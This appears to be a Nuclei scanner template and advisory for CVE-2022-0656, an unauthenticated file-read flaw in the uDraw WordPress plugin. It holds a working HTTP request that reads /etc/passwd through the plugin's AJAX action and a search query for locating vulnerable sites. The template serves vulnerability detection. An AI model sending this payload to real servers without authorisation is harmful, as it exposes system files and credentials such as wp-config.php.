uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
PoC代码[已公开]
id: CVE-2022-0656
info:
name: uDraw <3.3.3 - Local File Inclusion
author: akincibor
severity: high
description: uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
remediation: |
Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
- https://nvd.nist.gov/vuln/detail/CVE-2022-0656
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-0656
cwe-id: CWE-552
epss-score: 0.68162
epss-percentile: 0.98557
cpe: cpe:2.3:a:webtoprint:web_to_print_shop\:udraw:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: webtoprint
product: web_to_print_shop\
google-query: inurl:"/wp-content/plugins/udraw"
tags: cve,cve2022,wp,wordpress,wp-plugin,unauth,lfi,udraw,wpscan,webtoprint
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=udraw_convert_url_to_base64&url=/etc/passwd
matchers-condition: and
matchers:
- type: word
words:
- "cm9vd" # root in base64
- "data:image\\/;base64"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402205bbe2730b751bda715dc73b9065fbc1bf173e97138781093a92e4843c3b50879022004f59de95890cc31a3868ee6a092e70f321169b60ff1f58155048f01b62e4aec:922c64590222798bb761d5b6d8e72950